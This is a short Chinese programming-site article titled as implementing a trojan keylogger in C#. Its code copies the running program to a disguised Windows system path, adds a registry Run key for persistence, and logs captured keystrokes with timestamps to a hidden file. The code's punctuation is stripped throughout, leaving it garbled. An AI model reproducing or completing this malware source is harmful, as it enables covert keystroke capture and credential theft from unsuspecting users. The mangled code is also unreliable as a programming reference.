熱點推薦:
您现在的位置: 電腦知識網 >> 編程 >> .NET編程 >> 正文

C#實現木馬-鍵盤記錄器

2013-11-13 10:02:02  來源: .NET編程 

  這是RegistryReport 類的實現 public void MoveFile()

  {

  //判斷該位置是否存在_systemexe如果不是就把程序移動到該位置否則返回

  if(!FileExists(c:windowssystem_systemexe))

  {

  FileMove(ApplicationExecutablePathc:windowssystem_systemexe);

  }

  else

  return;

  }

  //在注冊表裡寫如啟動信息

  public void registryRun()

  {

  RegistryKey key=RegistryCurrentUserCreateSubKey(SoftwareMicrosoftWindowsCurrentVersion

  un);

  keySetValue(c:windowssystem_systemexe);

  keyClose();

  }

  這是Report類的實現: public void FirstWrite()

  {

  StreamWriter sw = new StreamWriter(c:/windows/system/keyReporttxttrue);

  swWriteLine(************* LittleStudio Studio ************* );

  swWriteLine(******** + DateTimeTodayYearToString() +

  + DateTimeTodayMonthToString() +

  + DateTimeTodayDayToString() +   

  + DateTimeNowHourToString() + :

  + DateTimeNowMinuteToString() + :

  + DateTimeNowSecondToString() + ********);

  swClose();

  }

  public void WriteDate(string keyEventsstring keyDate)

  {

  try

  {

  StreamWriter sw = new StreamWriter(c:/windows/system/keyReporttxttrue);

  swWriteLine(keyDate + + keyEvents +  

  + DateTimeNowHourToString() + :

  + DateTimeNowMinuteToString() + :

  + DateTimeNowSecondToString());

  swClose();

  }

  catch{}

  return;

  }


From:http://tw.wingwit.com/Article/program/net/201311/12331.html
    推薦文章
    Copyright © 2005-2013 電腦知識網 Computer Knowledge   All rights reserved.